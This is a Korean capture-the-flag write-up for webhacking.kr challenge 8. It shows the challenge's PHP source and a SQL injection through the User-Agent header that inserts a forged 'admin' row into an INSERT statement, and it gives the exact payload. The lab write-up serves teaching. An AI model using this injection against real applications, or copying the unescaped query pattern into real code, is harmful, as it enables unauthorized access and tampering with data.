[webhacking.kr] 8번 문제 풀이[SQL]
💡 Webhacking.kr challenge(old) 8번 문제에 대한 풀이입니다.
문제
문제 화면
소스코드
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
풀이
문제 분석
문제를 해결하기 위한 solve함수가 호출되는 부분은 다음과 같습니다.
$agent=trim(getenv("HTTP_USER_AGENT")); // 나의 패킷에서 USER_AGENT 값을 추출
$ip=$_SERVER['REMOTE_ADDR']; // 나의 IP 추출
if(preg_match("/from/i",$agent)){ //agent 에서 from 문자열 필터링
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
$db = dbconnect();
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
// user_agent 값을 기준으로 id를 불러옴
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
// 해당 쿼리 결과로 id값이 'admin'이면 solve;
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
// 만약 쿼리 결과가 없다면 현재 내 user_agent,ip를 기준으로 'guest' 유저를 db에 저장한다.
위 부분을 보니, 저의 user_agent 값을 기준으로 DB에서 쿼리를 했을 때 id가 ‘admin’이어야 합니다. 그리고 저의 user_agent 값이 insert 문으로 DB에 저장되기 때문에 이 부분을 우회하여 계정을 ‘guest’가 아닌 ‘admin’으로 저장해 보겠습니다.
먼저 user_agent 값을 변조하기 위해서는 Burp Suite 같은 프록시 툴을 이용해서 패킷을 잡아야 합니다.
아래 그림에서 보이는 부분이 아무런 변조를 하지 않았을 때 서버로 날아가는 저의 패킷 입니다.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
기본 User-Agent 값은 위와 같으며 이 내용을 이용해서 insert 부분을 우회해 보겠습니다.
먼저 위의 내용이 서버로 전달되면 서버에서는 다음 SQL문이 작동합니다.
"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"
위에서 $agent 부분을 다음과 같이 넣어주겠습니다.
1234','1','admin'),('5678
$agent 부분을 위의 문자열을 대입해 보면 서버쪽에서 동작하는 sql 문은 다음과 같이 변조가 됩니다.
"insert into chall8(agent,ip,id) values('1234','1','admin'),('5678','{$ip}','guest')"
이를 이용해서 실제로 패킷을 변조해서 보내 보겠습니다.
이제 서버로 User-Agent 값을 1234를 보내면 됩니다.
그러면 문제가 풀립니다.
댓글남기기